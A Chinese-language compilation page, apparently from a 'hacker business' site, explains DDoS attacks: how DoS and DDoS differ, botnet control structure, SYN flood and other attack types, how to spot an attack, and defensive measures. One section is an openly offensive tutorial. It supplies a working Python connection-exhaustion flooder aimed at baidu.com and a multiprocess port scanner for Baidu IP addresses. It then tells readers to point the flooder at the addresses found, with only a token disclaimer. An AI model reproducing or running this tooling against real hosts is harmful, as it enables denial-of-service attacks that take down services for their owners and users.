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ddos攻击的流程(ddos的攻击方式)

hacker2年前 (2022-06-25)黑客业务131

本文目录一览:

Dos和Ddos是同一种攻击手段么?如果一样,那它们的攻击原理是什么?详细描述一下发动攻击的流程?

使目标系统服务系统停止响应、甚至崩溃! 形象点说 、我想去攻击B。我就招集了很多清洁工人把很多垃圾堆在B的房屋里,或者让很多人同时堵在B的房外 、使别人不能去访问B。而B承受不住这压力,最后因疲劳至死 。。有点邪恶哈。 但是Dos攻击中并不包括侵入目标服务器或目标 *** 设备的这些服务器资源、 包括 *** 宽带,文件系统空间容量,开放的进程或允许的连接。 DOS这种攻击会导致资源不足、无论计算机的处理速度有多快、内存容量有多大、 *** 宽带速度有多快、 都无法避免这种攻击带来的后果!所以要理智、 要知道任何事物都有一个极限,所以总能找到一个 *** 使请求值大于极限值。因此就会故意导致所提供的服务资料的匮乏、表面上好像是服务器资源无法满足需求。实际上… 聪明的你们懂的。 好了、现在来说说DDOS。因为DOS攻击虽然强大、但是如果你一个人进行单向攻击、那么只能祝你早登极乐。效率不明显! 所以DOS攻击者就开发了分布式的攻击。攻击者简单利用工具、 *** 许多的 *** 带宽来同时对一个目标发动大量的攻击请求。 这就是DDOS(Distributed Denial Of Service 缩写)把Dos又向前发展一大步 、这种分布式拒绝服务攻击是黑客利用在已经侵入并控制的不同的高宽带主机(有可能一台 多则上百台)上安装大量的Dos服务程序。 它们等待来自中央攻击控制中心的命令、中央指控中心在适时启动全体受控主机的Dos服务器进程。 让它们对一个特定目标发送尽可能最多的访问请求。 形成一股Dos洪流冲击目标系统。 猛烈的Dos攻击的目标很快就会失去反应而不能及时处理正常的访问。 甚至是系统瘫痪!可见DDOS攻击的效率惊人! 【重要总结】 总的来说、Dos和DDos的区别就是人多力量大, DOS是一台服务器攻击、而DDos则是一个集成宽带。 还有就是DDos相对来说比较自动化、 当然也要安全很多!

DDOS攻击的步骤怎么样?

DDOS全名是DistributedDenialofservice(分布式拒绝服务攻击),很多DOS攻击源一起攻击某台服务器就组成了DDOS攻击,DDOS最早可追溯到1996年最初,在中国2002年开始频繁出现,2003年已经初具规模。通俗点说,就是黑客攻击网站。不过这种攻击方式是暴力模式!

DoS的攻击方式有很多种,最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使服务器无法处理合法用户的指令。DDoS攻击手段是在传统的DoS攻击基础之上产生的一类攻击方式。单一的DoS攻击一般是采用一对一方式的,当被攻击目标CPU速度低、内存小或者 *** 带宽小等等各项性能指标不高,它的效果是明显的。随着计算机与 *** 技术的发展,计算机的处理能力迅速增长,内存大大增加,同时也出现了千兆级别的 *** ,这使得DoS攻击的困难程度加大了-目标对恶意攻击包的"消化能力"加强了不少,例如你的攻击软件每秒钟可以发送3,000个攻击包,但我的主机与 *** 带宽每秒钟可以处理10,000个攻击包,这样一来攻击就不会产生什么效果。这时候分布式的拒绝服务攻击手段(DDoS)就应运而生了。

你理解了DoS攻击的话,它的原理就很简单。如果说计算机与 *** 的处理能力加大了10倍,用一台攻击机来攻击不再能起作用的话,攻击者使用10台攻击机同时攻击呢?用100台呢?DDoS就是利用更多的肉机来发起进攻,以比从前更大的规模来进攻受害者。高速广泛连接的 *** 给大家带来了方便,也为DDoS攻击创造了极为有利的条件。在低速 *** 时代时,黑客占领攻击用的傀儡肉鸡时,总是会优先考虑离目标 *** 距离近的机器,因为经过路由器的跳数少,效果好。而现在电信骨干节点之间的连接都是以G为级别的,大城市之间更可以达到2。5G的连接,这使得攻击可以从更远的地方或者其他城市发起,攻击者的傀儡机位置可以在分布在更大的范围,选择起来更灵活了。

如何进行DDOS攻击怎么做

会Python吗?下一个Python3.7.0-3.7.3,把代码复制下,粘贴即可

代码:

import socket

import time

import threading

#Pressure Test,ddos tool

MAX_CONN=20000

PORT=80

HOST="baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)

PAGE="/index.php"

buf=("POST %s HTTP/1.1\r\n"

"Host: %s\r\n"

"Content-Length: 10000000\r\n"

"Cookie: dklkt_dos_test\r\n"

"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():

  global socks

  for i in range(0,MAX_CONN):

      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      try:

          s.connect((HOST,PORT))

          s.send(buf.encode())

          print ("Send buf OK!,conn=%d\n"%i)

          socks.append(s)

      except Exception as ex:

          print ("Could not connect to server or send error:%s"%ex)

          time.sleep(10)

#end def

def send_thread():

  global socks

  while True:

      for s in socks:

          try:

              s.send("f".encode())

              #print "send OK!"

          except Exception as ex:

              print ("Send Exception:%s\n"%ex)

              socks.remove(s)

              s.close()

      time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()

如果你要攻击网站,以上代码虽然可行,但是,攻击效果很不好。

所以,更好用Windows里的PING进行检测

操作:

在Windows搜索栏里输入:cmd

输入:

ping -n 10 -l 1 baidu.com

//这里拿百度做示范,别真打百度!

那么,就会发现,系统反映了:

正在 Ping baidu.com [39.156.69.79] 具有 1 字节的数据:

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

39.156.69.79 的 Ping 统计信息:

  数据包: 已发送 = 10,已接收 = 10,丢失 = 0 (0% 丢失),

往返行程的估计时间(以毫秒为单位):

  最短 = 26ms,最长 = 29ms,平均 = 27ms

说明,百度的服务器有一个主服务器是39.156.69.79

那么,就来查找百度的所有服务器吧!

输入以下代码:

#绝大多数成功的 *** 攻击都是以端口扫描开始的,在 *** 安全和黑客领域,端口扫描是经常用到的技术,可以探测指定主机上是否

#开放了指定端口,进一步判断主机是否运行了某些重要的 *** 服务,最终判断是否存在潜在的安全漏洞,从一定意义上将也属于系统运维的范畴

#端口扫描器程序:模拟端口扫描器的工作原理,并采用多进程技术提高扫描速度

import socket

import sys

import multiprocessing

import time as t

def ports(ports_serve):

  #获取常用端口对应的服务名称

  for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:

      try:

          ports_serve[port]=socket.getservbyport(port)

      except socket.error:

          pass

def ports_scan(host,ports_service):

  ports_open=[]

  try:

      sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      #超时时间的不同会影响扫描结果的精确度

      socket.timeout(0.01)

  except socket.error:

      print('socket creation error')

      sys.exit()

  for port in ports_service:

      try:

          #尝试连接指定端口

          sock.connect((host,port))

          #记录打开的端口

          ports_open.append(port)

          sock.close()

      except socket.error:

          pass

  return ports_open

if __name__ == '__main__':

  m=multiprocessing.Manager()

  ports_service=dict()

  results=dict()

  ports(ports_service)

  #创建进程池,允许最多8个进程同时运行

  pool = multiprocessing.Pool(processes=8)

  net = '39.156.69.'#后面的IP少一个,因为要扫描这段区域内的IP,从而进行攻击

  for host_number in map(str,range(8,10)):

      host = net + host_number

      #创建一个新进程,同时记录其运行结果

      results[host] = pool.apply_async(ports_scan,(host,ports_service))

      print('starting '+host+'...')

  #关闭进程池,close()必须在join()之前调用

  pool.close()

  #等待进程池中的进程全部执行结束

  pool.join()

  #打印输出结果

  for host in results:

      print('='*30)

      print(host,'.'*10)

      for port in results[host].get():

          print(port,':',ports_service[port])

你会发现,Python反映了:

starting 39.156.69.8...

starting 39.156.69.9...

//并不是指百度只有这两个服务器!而是我们目前只能扫描到两个!

接着,运行DDoS攻击程序,把IP分别改为39.156.69.8和39.156.69.9

就可以实现DDoS攻击了。

//注:请不要用于违法用途,并且不要随意进行攻击。如想使用,可攻击虚拟机,但不要攻击外网IP和域名!!!

ddos攻击是什么?怎么阻止服务器被ddos?

DDoS攻击是由DoS攻击转化的,这项攻击的原理以及表现形式是怎样的呢?要如何的进行防御呢?本文中将会有详细的介绍,需要的朋友不妨阅读本文进行参考.

DDoS攻击原理是什么?随着 *** 时代的到来, *** 安全变得越来越重要。在互联网的安全领域,DDoS(Distributed

DenialofService)攻击技术因为它的隐蔽性,高效性一直是 *** 攻击者最青睐的攻击方式,它严重威胁着互联网的安全。接下来的文章中小编将会介绍DDoS攻击原理、表现形式以及防御策略。希望对您有所帮助。

DDoS攻击原理及防护措施介绍

一、DDoS攻击的工作原理

1.1 DDoS的定义

DDos的前身 DoS

(DenialofService)攻击,其含义是拒绝服务攻击,这种攻击行为使网站服务器充斥大量的要求回复的信息,消耗 *** 带宽或系统资源,导致 *** 或系统不胜负荷而停止提供正常的 *** 服务。而DDoS分布式拒绝服务,则主要利用

Internet上现有机器及系统的漏洞,攻占大量联网主机,使其成为攻击者的 *** 。当被控制的机器达到一定数量后,攻击者通过发送指令操纵这些攻击机同时向目标主机或 *** 发起DoS攻击,大量消耗其 *** 带和系统资源,导致该 *** 或系统瘫痪或停止提供正常的 *** 服务。由于DDos的分布式特征,它具有了比Dos远为强大的攻击力和破坏性。

1.2 DDoS的攻击原理

如图1所示,一个比较完善的DDos攻击体系分成四大部分,分别是攻击者( attacker也可以称为master)、控制傀儡机(

handler)、攻击傀儡机( demon,又可称agent)和受害着(

victim)。第2和第3部分,分别用做控制和实际发起攻击。第2部分的控制机只发布令而不参与实际的攻击,第3部分攻击傀儡机上发出DDoS的实际攻击包。对第2和第3部分计算机,攻击者有控制权或者是部分的控制权,并把相应的DDoS程序上传到这些平台上,这些程序与正常的程序一样运行并等待来自攻击者的指令,通常它还会利用各种手段隐藏自己不被别人发现。在平时,这些傀儡机器并没有什么异常,只是一旦攻击者连接到它们进行控制,并发出指令的时候,攻击愧儡机就成为攻击者去发起攻击了。

图1分布式拒绝服务攻击体系结构

之所以采用这样的结构,一个重要目的是隔离 *** 联系,保护攻击者,使其不会在攻击进行时受到监控系统的跟踪。同时也能够更好地协调进攻,因为攻击执行器的数目太多,同时由一个系统来发布命令会造成控制系统的 *** 阻塞,影响攻击的突然性和协同性。而且,流量的突然增大也容易暴露攻击者的位置和意图。整个过程可分为:

1)扫描大量主机以寻找可入侵主机目标;

2)有安全漏洞的主机并获取控制权;

3)入侵主机中安装攻击程序;

4)用己入侵主机继续进行扫描和入侵。

当受控制的攻击 *** 机达到攻击者满意的数量时,攻击者就可以通过攻击主控机随时发出击指令。由于攻击主控机的位置非常灵活,而且发布命令的时间很短,所以非常隐蔽以定位。一旦攻击的命令传送到攻击操纵机,主控机就可以关闭或脱离 *** ,以逃避追踪要着,攻击操纵机将命令发布到各个攻击 *** 机。在攻击 *** 机接到攻击命令后,就开始向目标主机发出大量的服务请求数据包。这些数据包经过伪装,使被攻击者无法识别它的来源面且,这些包所请求的服务往往要消耗较大的系统资源,如CP或 *** 带宽。如果数百台甚至上千台攻击 *** 机同时攻击一个目标,就会导致目标主机 *** 和系统资源的耗尽,从而停止服务。有时,甚至会导致系统崩溃。

另外,这样还可以阻塞目标 *** 的防火墙和路由器等 *** 设备,进一步加重 *** 拥塞状况。于是,目标主机根本无法为用户提供任何服务。攻击者所用的协议都是一些非常常见的协议和服务。这样,系统管理员就难于区分恶意请求和正连接请求,从而无法有效分离出攻击数据包

二、DDoS攻击识别

DDoS ( Denial of Service,分布式拒绝服务) 攻击的主要目的是让指定目标无注提供正常服务,甚至从互联网上消失,是目前最强大、最难防御的攻击方式之一。

2.1 DDoS表现形式

DDoS的表现形式主要有两种,一种为流量攻击,主要是针对 *** 带宽的攻击,即大量攻击包导致 *** 带宽被阻塞,合法 *** 包被虚假的攻击包淹没而无法到达主机;另一种为资源耗尽攻击,主要是针对服务器主机的政击,即通过大量攻击包导致主机的内存被耗尽或CPU内核及应用程序占完而造成无法提供 *** 服务。

2.2 攻击识别

流量攻击识别主要有以下2种 *** :

1) Ping测试:若发现Ping超时或丢包严重,则可能遭受攻击,若发现相同交换机上的服务器也无法访问,基本可以确定为流量攻击。测试前提是受害主机到服务器间的ICMP协议没有被路由器和防火墙等设备屏蔽;

2)

Telnet测试:其显著特征是远程终端连接服务器失败,相对流量攻击,资源耗尽攻击易判断,若网站访问突然非常缓慢或无法访问,但可Ping通,则很可能遭受攻击,若在服务器上用Netstat-na命令观察到大量

SYN_RECEIVED、 TIME_WAIT, FIN_

WAIT_1等状态,而EASTBLISHED很少,可判定为资源耗尽攻击,特征是受害主机Ping不通或丢包严重而Ping相同交换机上的服务器正常,则原因是攻击导致系统内核或应用程序CPU利用率达100%无法回应Ping命令,但因仍有带宽,可ping通相同交换机上主机。

三、DDoS攻击方式

DDoS攻击方式及其变种繁多,就其攻击方式面言,有三种最为流行的DDoS攻击方式。

3.1 SYN/ACK Flood攻击

这种攻击 *** 是经典有效的DDoS攻击 *** ,可通杀各种系统的 *** 服务,主要是通过向受害主机发送大量伪造源P和源端口的SYN或ACK包,导致主机的缓存资源被耗尽或忙于发送回应包而造成拒绝服务,由于源都是伤造的故追踪起来比较困难,缺点是实施起来有一定难度,需要高带宽的僵尸主机支持,少量的这种攻击会导致主机服务器无法访问,但却可以Ping的通,在服务器上用

Netstat-na命令会观察到存在大量的 SYN

RECEIVED状态,大量的这种攻击会导致Ping失败,TCP/IP栈失效,并会出现系统凝固现象,即不响应键盘和鼠标。普通防火墙大多无法抵御此种攻击。

攻击流程如图2所示,正常TCP连接为3次握手,系统B向系统A发送完 SYN/ACK分组后,停在 SYN

RECV状态,等待系统A返回ACK分组;此时系统B已经为准备建立该连接分配了资源,若攻击者系统A,使用伪造源IP,系统B始终处于“半连接”等待状态,直至超时将该连接从连接队列中清除;因定时器设置及连接队列满等原因,系统A在很短时间内,只要持续高速发送伪造源IP的连接请求至系统B,便可成功攻击系统B,而系统B己不能相应其他正常连接请求。

图2 SYN Flooding攻击流程

3.2 TCP全连接攻击

这种攻击是为了绕过常规防火墙的检查而设计的,一般情况下,常规防火墙大多具备过滤

TearDrop、Land等DOS攻击的能力,但对于正常的TCP连接是放过的,殊不知很多 *** 服务程序(如:IIS、

Apache等Web服务器)能接受的TCP连接数是有限的,一旦有大量的TCP连接,即便是正常的,也会导致网站访问非常缓慢甚至无法访问,TCP全连接攻击就是通过许多僵尸主机不断地与受害服务器建立大量的TCP连接,直到服务器的内存等资源被耗尽面被拖跨,从而造成拒绝服务,这种攻击的特点是可绕过一般防火墙的防护而达到攻击目的,缺点是需要找很多僵尸主机,并且由于僵尸主机的IP是暴露的,因此此种DDOs攻击方容易被追踪。

3.3 TCP刷 Script脚本攻击

这种攻击主要是针对存在ASP、 *** P、PHP、CGI等脚本程序,并调用 MSSQL Server、My SQL Server、

Oracle等数据库的网站系统而设计的,特征是和服务器建立正常的TCP连接,不断的向脚本程序提交查询、列表等大量耗费数据库资源的调用,典型的以小博大的攻击 *** 。一般来说,提交一个GET或POST指令对客户端的耗费和带宽的占用是几乎可以忽略的,而服务器为处理此请求却可能要从上万条记录中去查出某个记录,这种处理过程对资源的耗费是很大的,常见的数据库服务器很少能支持数百个查询指令同时执行,而这对于客户端来说却是轻而易举的,因此攻击者只需通过

Proxy *** 向主机服务器大量递交查询指令,只需数分钟就会把服务器资源消耗掉而导致拒绝服务,常见的现象就是网站慢如蜗牛、ASP程序失效、PHP连接数据库失败、数据库主程序占用CPU偏高。这种攻击的特点是可以完全绕过普通的防火墙防护,轻松找一些Poxy *** 就可实施攻击,缺点是对付只有静态页面的网站效果会大打折扣,并且有些 *** 会暴露DDOS攻击者的IP地址。

四、DDoS的防护策略

DDoS的防护是个系统工程,想仅仅依靠某种系统或产品防住DDoS是不现实的,可以肯定的说,完全杜绝DDoS目前是不可能的,但通过适当的措施抵御大多数的DDoS攻击是可以做到的,基于攻击和防御都有成本开销的缘故,若通过适当的办法增强了抵御DDoS的能力,也就意味着加大了攻击者的攻击成本,那么绝大多数攻击者将无法继续下去而放弃,也就相当于成功的抵御了DDoS攻击。

4.1 采用高性能的 *** 设备

抗DDoS攻击首先要保证 *** 设备不能成为瓶颈,因此选择路由器、交换机、硬件防火墙等设备的时候要尽量选用知名度高、口碑好的产品。再就是假如和 *** 提供商有特殊关系或协议的话就更好了,当大量攻击发生的时候请他们在 *** 接点处做一下流量限制来对抗某些种类的DDoS攻击是非常有效的。

4.2 尽量避免NAT的使用

无论是路由器还是硬件防护墙设备都要尽量避免采用 *** 地址转换NAT的使用,除了必须使用NAT,因为采用此技术会较大降低 *** 通信能力,原因很简单,因为NAT需要对地址来回转换,转换过程中需要对 *** 包的校验和进行计算,因此浪费了很多CPU的时间。

4.3 充足的 *** 带宽保证

*** 带宽直接决定了能抗受攻击的能力,假若仅有10M带宽,无论采取何种措施都很难对抗现在的

SYNFlood攻击,当前至少要选择100M的共享带宽,1000M的带宽会更好,但需要注意的是,主机上的网卡是1000M的并不意味着它的 *** 带宽就是千兆的,若把它接在100M的交换机上,它的实际带宽不会超过100M,再就是接在100M的带宽上也不等于就有了百兆的带宽,因为 *** 服务商很可能会在交换机上限制实际带宽为10M。

4.4 升级主机服务器硬件

在有 *** 带宽保证的前提下,尽量提升硬件配置,要有效对抗每秒10万个SYN攻击包,服务器的配置至少应该为:P4

2.4G/DDR512M/SCSI-HD,起关键作用的主要是CPU和内存,内存一定要选择DDR的高速内存,硬盘要尽量选择SCSI的,要保障硬件性能高并且稳定,否则会付出高昂的性能代价。

4.5 把网站做成静态页面

大量事实证明,把网站尽可能做成静态页面,不仅能大大提高抗攻击能力,而且还给黑客入侵带来不少麻烦,到现在为止还没有出现关于HTML的溢出的情况,新浪、搜狐、网易等门户网站主要都是静态页面。

此外,更好在需要调用数据库的脚本中拒绝使用 *** 的访问,因为经验表明使用 *** 访问我们网站的80%属于恶意行为。

五、总结

DDoS攻击正在不断演化,变得日益强大、隐密,更具针对性且更复杂,它已成为互联网安全的重大威胁,同时随着系统的更新换代,新的系统漏洞不断地出现,DDoS的攻击技巧的提高,也给DDoS防护增加了难度,有效地对付这种攻击是一个系统工程,不仅需要技术人员去探索防护的手段, *** 的使用者也要具备 *** 攻击基本的防护意识和手段,只有将技术手段和人员素质结合到一起才能更大限度的发挥 *** 防护的效能。相关链接

ddos是怎么实现的?如何防御?

一个完整的DDoS攻击体系由攻击者、主控端、 *** 端和攻击目标四部分组成。主控端和 *** 端分别用于控制和实际发起攻击,其中主控端只发布命令而不参与实际的攻击, *** 端发出DDoS的实际攻击包。

每一个攻击 *** 主机都会向目标主机发送大量的服务请求数据包,这些数据包经过伪装,无法识别它的来源,而且这些数据包所请求的服务往往要消耗大量的系统资源,造成目标主机无法为用户提供正常服务。甚至导致系统崩溃。

防御方式:

1、全面综合地设计 *** 的安全体系,注意所使用的安全产品和 *** 设备。

2、提高 *** 管理人员的素质,关注安全信息,遵从有关安全措施,及时地升级系统,加强系统抗击攻击的能力。

3、在系统中加装防火墙系统,利用防火墙系统对所有出入的数据包进行过滤,检查边界安全规则,确保输出的包受到正确限制。

4、优化路由及 *** 结构。对路由器进行合理设置,降低攻击的可能性。

5、安装入侵检测工具(如NIPC、NGREP),经常扫描检查系统,解决系统的漏洞,对系统文件和应用程序进行加密,并定期检查这些文件的变化。

扩展资料:

DDoS攻击可以使很多的计算机在同一时间遭受到攻击,使攻击的目标无法正常使用,分布式拒绝服务攻击已经出现了很多次,导致很多的大型网站都出现了无法进行操作的情况,这样不仅仅会影响用户的正常使用,同时造成的经济损失也是非常巨大的。

在这类攻击中。攻击者和 *** 端机器之间的通信是绝对不允许的。这类攻击的攻击阶段绝大部分被限制用一个单一的命令来实现,攻击的所有特征,例如攻击的类型,持续的时间和受害者的地址在攻击代码中都预先用程序实现。

DDOS攻击方式有哪些?

ddos攻击主要有以下3种方式。

大流量攻击

大流量攻击通过海量流量使得 *** 的带宽和基础设施达到饱和,将其消耗殆尽,从而实现淹没 *** 的目的。一旦流量超过 *** 的容量,或 *** 与互联网其他部分的连接能力, *** 将无法访问。大流量攻击实例包括ICMP、碎片和UDP洪水。

TCP状态耗尽攻击

TCP状态耗尽攻击试图消耗许多基础设施组件(例如负载均衡器、防火墙和应用服务器本身)中存在的连接状态表。例如,防火墙必须分析每个数据包来确定数据包是离散连接,现有连接的存续,还是现有连接的完结。同样,入侵防御系统必须跟踪状态以实施基于签名的数据包检测和有状态的协议分析。这些设备和其他有状态的设备—包括负责均衡器—被会话洪水或连接攻击频繁攻陷。例如,Sockstress攻击可通过打开套接字来填充连接表以便快速淹没防火墙的状态表。

应用层攻击

应用层攻击使用更加尖端的机制来实现黑客的目标。应用层攻击并非使用流量或会话来淹没 *** ,它针对特定的应用/服务缓慢地耗尽应用层上的资源。应用层攻击在低流量速率下十分有效,从协议角度看,攻击中涉及的流量可能是合法的。这使得应用层攻击比其他类型的DDoS攻击更加难以检测。HTTP洪水、DNS词典、Slowloris等都是应用层攻击的实例。

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rint('starting '+host+'...')   #关闭进程池,close()必须在join()之前调用   pool.close()   #等待进程池中的进程全部执行结束   pool.join()   #打印输出结果   for host in results:  

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缓慢地耗尽应用层上的资源。应用层攻击在低流量速率下十分有效,从协议角度看,攻击中涉及的流量可能是合法的。这使得应用层攻击比其他类型的DDoS攻击更加难以检测。HT

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  ports(ports_service)   #创建进程池,允许最多8个进程同时运行   pool = multiprocessing.Pool(processes=8)   net = '39.1

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